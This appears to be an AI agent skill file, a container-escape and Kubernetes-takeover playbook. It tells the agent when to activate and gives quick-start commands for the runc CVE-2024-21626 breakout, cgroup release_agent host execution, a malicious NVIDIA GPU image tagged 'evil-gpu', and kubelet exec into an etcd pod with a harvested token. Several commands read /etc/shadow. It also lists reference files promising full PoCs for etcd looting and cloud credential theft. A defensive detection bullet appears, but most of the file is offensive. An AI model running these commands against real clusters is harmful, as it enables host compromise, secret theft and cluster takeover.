Container K8S Escape

Container Breakout & Kubernetes Escape

When to Activate

• You have code execution inside a container/pod and want to break out to the host node
• Auditing a Kubernetes cluster for RBAC privilege-escalation and lateral-movement paths
• Assessing runc/containerd/BuildKit/Docker runtime versions against known escape CVEs
• A pod is privileged, has dangerous capabilities, hostPath/hostPID/hostNetwork, or a mounted docker.sock
• Attacking GPU/AI workloads using the NVIDIA Container Toolkit
• Testing ingress-nginx / admission-controller exposure for unauthenticated RCE
• Post-escape: pivoting from one node to full cluster takeover (kubelet, SA tokens, etcd, cloud IMDS)
• Building Falco/Sigma detections for container-escape behavior (defensive validation)

Technique Map

Quick Start

# 0. Enumerate the container/pod context: caps, mounts, sockets, runtime versions, K8s creds
bash scripts/escape_enum.sh                 # run INSIDE the target container

# 1. Runtime-CVE path: detect vulnerable runc/BuildKit and run the cwd-fd escape (CVE-2024-21626)
python3 scripts/runc_cwd_escape.py --probe                       # try fd 7,8,9 -> host /
python3 scripts/runc_cwd_escape.py --cmd 'id; cat /etc/shadow'   # via docker -w or k8s revshell

# 2. Misconfig path: privileged / CAP_SYS_ADMIN -> cgroup release_agent host code exec
bash scripts/release_agent_escape.sh -c 'id > /tmp/escape_out'   # reads host PID list / runs cmd

# 3. GPU path: build a malicious image for NVIDIAScape (CVE-2025-23266)
bash scripts/nvidiascape_build.sh --cmd 'id; cat /etc/shadow' --tag evil-gpu:latest

# 4. K8s RBAC: audit who can escalate / reach the kubelet (needs a kubeconfig or in-pod SA token)
python3 scripts/k8s_rbac_audit.py --kubeconfig ~/.kube/config --dangerous

# 5. nodes/proxy or open kubelet -> exec into any pod on the node
python3 scripts/kubelet_exec.py --node 10.0.0.5 --pod kube-system/etcd-master \
        --container etcd --cmd 'cat /var/lib/etcd/...' --token "$SA_TOKEN"

Recommended tooling: deepce / cdk / amicontained (in-container recon), peirates (K8s pivot), kube-hunter (cluster scan), kubeletctl (kubelet API), crictl (post-escape node control), falco (defensive validation of every technique below).

OPSEC & Detection (summary)

Deep Dives

• references/runtime-cve-escapes.md — runc CVE-2024-21626 (working-dir fd leak), the Nov-2025 runc trio (CVE-2025-31133/52565/52881 masked-path & /dev/console), and the BuildKit Leaky Vessels CVEs, with full PoCs and version matrices.
• references/privileged-misconfig-escape.md — --privileged/capability escapes: cgroup-v1 release_agent, core_pattern, hostPID+nsenter, mounted docker/containerd sockets, and hostPath// mounts, with complete scripts.
• references/nvidia-gpu-escape.md — NVIDIAScape (CVE-2025-23266 LD_PRELOAD OCI-hook) and the CVE-2024-0132 / CVE-2025-23359 TOCTOU mount escapes in the NVIDIA Container Toolkit; build-and-run PoCs.
• references/k8s-rbac-escalation.md — RBAC privilege escalation (wildcards, escalate/bind, pods/exec, impersonation), SA-token harvest, the nodes/proxy GET → kubelet WebSocket exec RCE, and open kubelet :10250.
• references/ingress-admission-attacks.md — IngressNightmare (CVE-2025-1974 + the annotation-injection chain), admission-webhook abuse, and how a controller SA leads to cluster-wide secret theft.
• references/node-host-pivot.md — post-escape playbook: from one node to the whole cluster — etcd looting, kubelet/crictl, SA-token mining across pods, cloud IMDS role theft, and the defensive counterweight.